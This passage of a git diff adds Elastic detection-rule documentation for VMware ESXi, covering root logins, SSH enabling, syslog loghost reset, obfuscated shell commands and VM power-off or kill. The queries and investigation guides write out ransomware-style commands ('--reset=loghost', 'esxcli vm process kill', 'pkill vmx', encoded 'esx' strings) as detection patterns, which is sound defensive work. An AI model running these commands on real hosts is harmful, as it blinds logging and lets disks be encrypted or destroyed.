event.module:vsphere and message:("Accepted password for user root" and not "from 127.0.0.1") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Default Accounts +** ID: T1078.001 +** Reference URL: https://attack.mitre.org/techniques/T1078/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-root-password-changed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-root-password-changed.asciidoc new file mode 100644 index 0000000000..2510a3bfdd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-root-password-changed.asciidoc @@ -0,0 +1,112 @@ +[[prebuilt-rule-8-19-36-esxi-root-password-changed]] +=== ESXi Root Password Changed + +Detects a change to the ESXi root password, the credential for SSH, the Host Client, and the API. Replacing it locks out the previous password and gives the new value full control of the host. Hostd records `Password was changed for account root`. The shell records `esxcli system account set -i root`. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Root Password Changed* + + +The root account is the local administrator on a standalone ESXi host. A password change keeps the same account and replaces the credential used for SSH, the Host Client, and the API. + + +*Possible investigation steps* + + +- Read message for Password was changed for account root or esxcli system account set -i root. +- Note the account in the hostd user field. That is who performed the change. +- Check the same session for lockdown mode being disabled, a new local account, or an Admin role grant. +- Ask whether the new password was recorded in the approved secret store. + + +*False positive analysis* + + +A documented root password rotation is commonly benign. An unplanned change, especially after lockdown mode was disabled, deserves review. + + +*Response and remediation* + + +- If the change was not approved, set a new root password and store it with the break-glass process. +- Review other account and permission changes from the same session. +- Preserve hostd.log and shell.log before closing the session. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:vsphere.log and event.module:vsphere and message:("Password was changed for account root" or "-i root" and "esxcli system account set") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-shell-command-obfuscation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-shell-command-obfuscation.asciidoc new file mode 100644 index 0000000000..17704f489b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-shell-command-obfuscation.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-36-esxi-shell-command-obfuscation]] +=== ESXi Shell Command Obfuscation + +Detects ESXi shell commands that rebuild a command with encoding instead of writing it in clear text, including octal and hex `printf`, Python `chr()`, `awk` `%c` sequences, reversed strings, and invisible Unicode. The shell log then hides the administrative command. The decoded action can still change syslog, the firewall, or other host settings. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi +* Threat: Encoding-Based Obfuscation + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Shell Command Obfuscation* + + +ESXi shell.log stores the command text. Encoding the letters of esxcli is an attempt to keep a destructive command out of simple string searches. The decoded action is often a syslog reset or a VM listing. + + +*Possible investigation steps* + + +- Copy message and decode it. Octal 145 163 170, hex 65 73 78, chr(101), and repeated percent-c sequences all spell esx. +- If the decoded command resets syslog, changes the firewall, or kills a VM, follow that detection as well. +- Compare the account and source with normal ESXi administration. Operators rarely need these encodings. + + +*False positive analysis* + + +A lab or training host may replay published obfuscation samples. On a production host, treat the encoded command as hostile until the decoded text is explained. + + +*Response and remediation* + + +- Decode and record the command, then check esxcli system syslog config get and the firewall state in case the payload already ran. +- End the shell session and disable SSH if it was not required. +- Preserve shell.log before rotation. The encoded line is the evidence. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "vsphere.log" and ( + message: ( + "chr(101)" or + "%c%c%c%c%c%c" or + "ilcxse" or + "0xe2,0x80,0x8b" or + "0xf3,0xb0,0x80,0x80" or + "\\x65\\x73\\x78" or + "\\145\\163\\170" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-ssh-access-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-ssh-access-enabled.asciidoc new file mode 100644 index 0000000000..5bf533f24e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-ssh-access-enabled.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-36-esxi-ssh-access-enabled]] +=== ESXi SSH Access Enabled + +Detects ESXi SSH being turned on. SSH is often left disabled so the host is managed through the local console, the Host Client, or vCenter. Enabling it opens a remote shell that can copy files onto the host and run commands against the datastore. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi SSH Access Enabled* + + +SSH is disabled on many ESXi hosts. Turning it on is the step that lets an intruder who already has the root password open a shell and stage a payload in /tmp. + + +*Possible investigation steps* + + +- Confirm whether the hit is the hostd sentence SSH access has been enabled or the shell command hostsvc/enable_ssh. +- Review source.ip and the account on nearby authentication events. +- Check for a following cd /tmp, file upload, or vm process command. +- Ask whether a change ticket opened SSH on this host. + + +*False positive analysis* + + +Documented troubleshooting enables SSH and should disable it afterward. An enable with no ticket, followed by datastore commands, is the intrusion pattern. + + +*Response and remediation* + + +- If the enable was not approved, disable SSH (vim-cmd hostsvc/disable_ssh) after preserving logs. +- Rotate the root password and review accounts added in the same window. +- Hunt other hosts for the same hostd event. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:vsphere.log and message:("SSH access has been enabled" or "hostsvc/enable_ssh") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-ssh-session-from-vpxuser.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-ssh-session-from-vpxuser.asciidoc new file mode 100644 index 0000000000..75991aa81d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-ssh-session-from-vpxuser.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-36-esxi-ssh-session-from-vpxuser]] +=== ESXi SSH Session from vpxuser + +Identifies a successful SSH session opened by the privileged vpxuser account. vpxuser is a service account used by VMware vCenter Server to manage ESXi hosts. An SSH session from that account reaches the host shell directly, outside the vCenter management path, and is a sign the credential is being reused with malicious intent. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi SSH Session from vpxuser* + + +Hostd records SSH session was opened for 'vpxuser@
' when that account gets a shell. vpxuser is created for vCenter and is not an interactive operator account. + + +*Possible investigation steps* + + +- Read the address after vpxuser@ in message and compare it with the vCenter server. +- Review shell commands in the same session, especially copies to /tmp, vm process, and datastore paths. +- Check whether SSH was enabled on this host just before the session. +- Ask whether anyone used vpxuser for a documented console session. + + +*False positive analysis* + + +An approved break-glass SSH session with vpxuser should be rare and tied to a ticket. A session from an address that is not the vCenter server deserves review. + + +*Response and remediation* + + +- If the session was not approved, disable SSH and terminate the session. +- Rotate the vpxuser credential from vCenter and review other hosts for the same account. +- Preserve hostd.log and shell.log for the session. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:vsphere.log and event.module:vsphere and message:("SSH session was opened for" and vpxuser) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-syslog-remote-host-reset.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-syslog-remote-host-reset.asciidoc new file mode 100644 index 0000000000..ec09107828 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-syslog-remote-host-reset.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-36-esxi-syslog-remote-host-reset]] +=== ESXi Syslog Remote Host Reset + +Detects the ESXi remote syslog destination being cleared with `--reset=loghost`. The loghost is where host logs are forwarded for retention and detection. Clearing it keeps later commands on the host only, so an external collector stops receiving them. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Syslog Remote Host Reset* + + +Remote syslog is often the only copy of ESXi shell history that leaves the host. --reset=loghost drops that destination. Obfuscated commands in the same reports decode to this exact esxcli line. + + +*Possible investigation steps* + + +- Read message for a literal esxcli line or an obfuscated line that still contains reset=loghost. +- Run or review esxcli system syslog config get and confirm whether Remote Host is empty. +- Correlate with firewall, SSH, and VM shutdown commands from the same session. + + +*False positive analysis* + + +Collector migrations reset the old loghost and then set a new one. An empty loghost that stays empty is not a migration. + + +*Response and remediation* + + +- Restore the collector: esxcli system syslog config set --loghost= and reload syslog. +- Pull local shell.log, hostd.log, and auth.log before they rotate. The gap while loghost was empty will be missing from the collector. +- If the reset was unauthorized, isolate the host. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:vsphere.log and message:("syslog config set" and ("--reset loghost" or "--reset=loghost" or "reset=loghost")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-system-and-account-enumeration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-system-and-account-enumeration.asciidoc new file mode 100644 index 0000000000..0ef8567003 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-system-and-account-enumeration.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-36-esxi-system-and-account-enumeration]] +=== ESXi System and Account Enumeration + +Detects shell commands that collect ESXi host details or the local account list, including `uname -a`, system version, hostname, and `esxcli system account list`. The output identifies the build and the accounts that can log in. Listing accounts shows which identities exist before one of them is changed or used. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi +* Threat: Ransomware + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi System and Account Enumeration* + + +These commands collect the OS build, product version, hostname, or the local account list. Account listing is the higher-interest command. Version and hostname checks are common on their own. + + +*Possible investigation steps* + + +- Read message to see which command ran. +- Check the same session for vm process list, vm process kill, chmod, or a search under /vmfs/volumes. +- For esxcli system account list, compare the listed accounts with the known set for that host. + + +*False positive analysis* + + +A single version or hostname check during maintenance is commonly benign. Several of these commands in one session, especially account listing followed by VM shutdown, deserves review. + + +*Response and remediation* + + +- If the same session kills virtual machines or writes a file under /tmp, isolate the host. +- Otherwise record the account and source for hunting on other hosts. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "vsphere.log" and event.module: "vsphere" and +message: ( + "uname -a" or + "esxcli system version get" or + "esxcli system hostname get" or + "esxcli system account list" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Local Account +** ID: T1087.001 +** Reference URL: https://attack.mitre.org/techniques/T1087/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-virtual-disk-files-enumerated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-virtual-disk-files-enumerated.asciidoc new file mode 100644 index 0000000000..8c13829107 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-virtual-disk-files-enumerated.asciidoc @@ -0,0 +1,111 @@ +[[prebuilt-rule-8-19-36-esxi-virtual-disk-files-enumerated]] +=== ESXi Virtual Disk Files Enumerated + +Detects a shell search under `/vmfs/volumes` for virtual disk and snapshot files (`vmdk`, `vmsn`, `vmsd`). Those files are the guest disks and their on-host recovery points. Listing them builds the set of files a later process can encrypt or delete. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi +* Threat: Ransomware + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Virtual Disk Files Enumerated* + + +The datastore path and the vmdk family of extensions are how ESXi ransomware chooses what to encrypt. The search itself does not change files. + + +*Possible investigation steps* + + +- Read the exact find arguments in message, including any -name filter. +- Correlate with later vm process kill, power.off, or snapshot.removeall from the same session. +- If the command stands alone during a known support window, it is often benign. + + +*False positive analysis* + + +Support bundles and storage reports list virtual disks. Escalation is for a search followed by VM shutdown or snapshot deletion. + + +*Response and remediation* + + +- If the same session starts killing VMs or deleting snapshots, isolate the host. +- Otherwise record the account and command for hunting across other ESXi hosts. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:vsphere.log and message:("/vmfs/volumes" and find and (vmdk or vmsd or vmsn)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-virtual-machine-powered-off.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-virtual-machine-powered-off.asciidoc new file mode 100644 index 0000000000..c80fd0a7e7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-virtual-machine-powered-off.asciidoc @@ -0,0 +1,114 @@ +[[prebuilt-rule-8-19-36-esxi-virtual-machine-powered-off]] +=== ESXi Virtual Machine Powered Off + +Detects `vim-cmd vmsvc/power.off` on an ESXi host. Powering a virtual machine off releases the lock the hypervisor holds on its virtual disks. With the guest stopped, those disks can be rewritten or encrypted while the machine is down. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi +* Threat: Ransomware + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Virtual Machine Powered Off* + + +vim-cmd vmsvc/power.off is the guest-aware shutdown path ransomware uses when esxcli vm process kill is not enough. A for loop over getallvms powers off every guest on the host. + + +*Possible investigation steps* + + +- Read message for a single VM id versus a loop over vim-cmd vmsvc/getallvms. +- Correlate with snapshot removal, vm process kill, and find commands for *.vmdk on the same host. +- Ask the VM owner whether that power-off was scheduled. + + +*False positive analysis* + + +One VM powered off by a known administrator during a change window is commonly benign. Powering off every VM in one shell loop is the ransomware pattern. + + +*Response and remediation* + + +- If the power-off was not approved, isolate the host and do not reboot it. +- Power guests back on only after confirming their disks were not encrypted, or restore them from backup. +- Preserve shell and hostd logs for the session that issued power.off. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "vsphere.log" and ( + message: "vmsvc/power.off" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: System Shutdown/Reboot +** ID: T1529 +** Reference URL: https://attack.mitre.org/techniques/T1529/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-virtual-machine-process-killed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-virtual-machine-process-killed.asciidoc new file mode 100644 index 0000000000..a9a3665e16 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-virtual-machine-process-killed.asciidoc @@ -0,0 +1,113 @@ +[[prebuilt-rule-8-19-36-esxi-virtual-machine-process-killed]] +=== ESXi Virtual Machine Process Killed + +Detects termination of a virtual machine process on an ESXi host, including `esxcli vm process kill`, `pkill` of `vmx` processes, and `vmdumper` suspend. A running VM holds a lock on its disks. Stopping the process releases that lock and makes the disks writable. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi +* Threat: Ransomware + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Virtual Machine Process Killed* + + +Stopping vmx releases the lock on a virtual disk. ESXi ransomware does this immediately before it encrypts files under /vmfs/volumes. + + +*Possible investigation steps* + + +- Read the full command in message and event.original. Note --type (soft, hard, force), --world-id / -w, and whether the line is an awk loop over vm process list. +- Identify the account and source from the same host in /var/log/shell.log and /var/log/auth.log around @timestamp. +- Check whether the same session listed VMs, searched for *.vmdk, removed snapshots, or reset the syslog loghost. +- Confirm with the VM owner whether that world id was shut down on purpose. + + +*False positive analysis* + + +Maintenance and crash recovery use the same esxcli kill types. A single soft shutdown of a named VM during a change window is often expected. A loop that kills every world id is not. + + +*Response and remediation* + + +- If the kill was not approved, isolate the host from the management network and stop further shell activity. +- Leave powered-on VMs running. Shutting them down releases disk locks and lets encryption continue. +- Preserve shell.log, hostd.log, and auth.log, and restore any VM that was stopped from a known-good backup. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:vsphere.log and message:("vm process kill" or pkill and vmx or suspend_v and vmdumper) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-virtual-machine-process-list.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-virtual-machine-process-list.asciidoc new file mode 100644 index 0000000000..dc48287cbf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-virtual-machine-process-list.asciidoc @@ -0,0 +1,111 @@ +[[prebuilt-rule-8-19-36-esxi-virtual-machine-process-list]] +=== ESXi Virtual Machine Process List + +Detects `esxcli vm process list` on an ESXi host. The command lists running virtual machines and the world IDs of their `vmx` processes. Those IDs are what a later kill command uses to stop the VMs and release the locks on their virtual disks. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi +* Threat: Ransomware + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Virtual Machine Process List* + + +esxcli vm process list enumerates running virtual machines and their world ids. A later kill command uses those world ids to stop the VMs. + + +*Possible investigation steps* + + +- Read message for a plain list versus a list piped into vm process kill. +- Check the same session for pkill, power.off, snapshot removal, or a search for vmdk files. +- Confirm with the virtualization owner whether the list was part of a scheduled check. + + +*False positive analysis* + + +A standalone list 